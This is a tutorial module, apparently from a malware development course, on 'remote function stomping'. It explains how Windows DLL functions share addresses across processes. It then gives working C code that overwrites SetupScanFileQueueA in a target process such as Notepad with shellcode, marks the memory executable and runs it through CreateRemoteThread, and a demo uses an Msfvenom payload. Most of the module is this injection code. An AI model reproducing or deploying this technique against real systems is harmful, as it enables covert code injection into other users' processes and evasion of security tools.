45. Remote Function Stomping Injection
Remote Function Stomping Injection
Introduction
The previous module introduced function stomping on the local address space of the process. In this module, the same implementation logic will be used to inject code into a remote process.
Remote Function Stomping
The DLLs that implement Windows API functions are shared across all processes that use them, therefore, the functions within the DLL have the same address in each process. However, the address of the DLL itself will differ between processes due to the different virtual address spaces. This means that while the address of the target function remains constant across different processes, the DLL which exports these functions may not be the same.
For example, two processes, A and B, will be sharing Kernel32.dll
but the address of the DLL may be different within each process due to Address Space Layout Randomization. However, VirtualAlloc
, which is exported from Kernel32.dll
, will have the same address in both processes.
It is important to note that in order for function stomping to be performed remotely, the DLL that exports the targeted function must already be loaded into the target process. For example, to target the SetupScanFileQueueA
function in a remote function, which is exported from Setupapi.dll
, that DLL must already be loaded into the target process. If the remote process does not have Setupapi.dll
loaded, the SetupScanFileQueueA
function will not be present in the target process, resulting in an attempt to write to an address that does not exist.
Remote Function Stomping Code
The following code is similar to the local function stomping code, however, it uses different WinAPI functions to carry out code injection.
#define SACRIFICIAL_DLL "setupapi.dll"#define SACRIFICIAL_FUNC "SetupScanFileQueueA"// ...
BOOL WritePayload(HANDLE hProcess, PVOID pAddress, PBYTE pPayload, SIZE_T sPayloadSize) {
DWORD dwOldProtection = NULL;
SIZE_T sNumberOfBytesWritten = NULL;
if (!VirtualProtectEx(hProcess, pAddress, sPayloadSize, PAGE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtectEx [RW] Failed With Error : %d \n", GetLastError());
return FALSE;
}
if (!WriteProcessMemory(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten) || sPayloadSize != sNumberOfBytesWritten){
printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
printf("[!] Bytes Written : %d of %d \n", sNumberOfBytesWritten, sPayloadSize);
return FALSE;
}
if (!VirtualProtectEx(hProcess, pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtectEx [RWX] Failed With Error : %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
int wmain(int argc, wchar_t* argv[]) {
HANDLE hProcess = NULL,
hThread = NULL;
PVOID pAddress = NULL;
DWORD dwProcessId = NULL;
HMODULE hModule = NULL;
if (argc < 2) {
wprintf(L"[!] Usage : \"%s\" <Process Name> \n", argv[0]);
return -1;
}
wprintf(L"[i] Searching For Process Id Of \"%s\" ... ", argv[1]);
if (!GetRemoteProcessHandle(argv[1], &dwProcessId, &hProcess)) {
printf("[!] Process is Not Found \n");
return -1;
}
printf("[+] DONE \n");
printf("[i] Found Target Process Pid: %d \n", dwProcessId);
printf("[i] Loading \"%s\"... ", SACRIFICIAL_DLL);
hModule = LoadLibraryA(SACRIFICIAL_DLL);
if (hModule == NULL) {
printf("[!] LoadLibraryA Failed With Error : %d \n", GetLastError());
return -1;
}
printf("[+] DONE \n");
pAddress = GetProcAddress(hModule, SACRIFICIAL_FUNC);
if (pAddress == NULL) {
printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
return -1;
}
printf("[+] Address Of \"%s\" : 0x%p \n", SACRIFICIAL_FUNC, pAddress);
printf("[#] Press <Enter> To Write Payload ... ");
getchar();
printf("[i] Writing ... ");
if (!WritePayload(hProcess, pAddress, Payload, sizeof(Payload))) {
return -1;
}
printf("[+] DONE \n");
printf("[#] Press <Enter> To Run The Payload ... ");
getchar();
hThread = CreateRemoteThread(hProcess, NULL, NULL, pAddress, NULL, NULL, NULL);
if (hThread != NULL)
WaitForSingleObject(hThread, INFINITE);
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
Demo
Targeting Notepad.exe
process.

Retrieving SetupScanFileQueueA
's address.

The original bytes of the SetupScanFileQueueA
function.

Replacing the function's bytes with the Msfvenom calc payload.

Running the payload.
